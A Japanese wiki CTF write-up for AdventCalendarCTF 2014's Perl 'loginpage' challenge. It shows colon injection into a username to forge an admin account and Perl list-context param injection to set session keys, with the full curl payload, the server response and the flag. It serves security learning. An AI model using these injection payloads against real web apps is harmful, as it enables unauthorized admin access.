ログイン
編集不可のページディスカッション情報添付ファイル
ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-13

MMA

loginpage

問題

You can't guess LOGINPAGE_SECRET absolutely, it's not answer. So, maybe there are some vulnerability and you got an admin and flag.

I wrote this web app on Oct. 28 2014. Perl is awesome language and I love it :)

loginpage.adctf2014.katsudon.org

source

問題(和訳)

メモ

解法

ユーザデータベースが"ユーザ名:パスワード:管理者フラグ"の構造で保存されているが, ユーザ作成時にコロンが含まれていても素通しのためユーザ名にadmin:hoge:1などと入れることによりadminユーザを作成することができる。 これによりadminユーザにパスワードhogeでログインできるようになった。

さらにフラグを見るためにはセッションのgive_me_flagを真にしなくてはならない。

   1         $self->session->{user} = {
   2             name         => $self->param('name'),
   3             pass         => $self->param('pass'),
   4             give_me_flag => 0,
   5             admin        => $is_admin,
   6         };

PerlのCGIモジュールのparamメソッドはリストコンテキストで呼び出すとキーに対応する値を全てリストで返してしまう。 これにより,passに複数の値を設定しておくとgive_me_flag => 1を挿入できる。

name=admin&pass=hoge&pass=give_me_flag&pass=1

これだけでは駄目で,後ろにあるgive_me_flag => 0に上書きされないようにしなくてはならない。 admin => 1を自分で設定した上で更に余計な要素を一個だけ増やすことによってgive_me_flagをkeyではなくしてしまう。

name=admin&pass=hoge&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a

以上でフラグを得ることができる。

% curl -c cookie.jar -L http://loginpage.adctf2014.katsudon.org/login -d "name=admin&pass=hoge&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a" 
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>hello - loginpage</title>
</head>
<body>
    <p><a href="/">index</a> | <a href="/register">register</a> | <a href="/login">login</a> | <a href="/user">user list</a></p>
    
<p>loginpage</p>

<p>hello, <b>admin</b> (password is: abc)</p>
<p>you are admin!</p>
<p>the flag is: ADCTF_L0v3ry_p3rl_c0N73x7</p>

</body>
</html>

ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-13 (最終更新日時 2014-12-13 00:21:58 更新者 ytoku)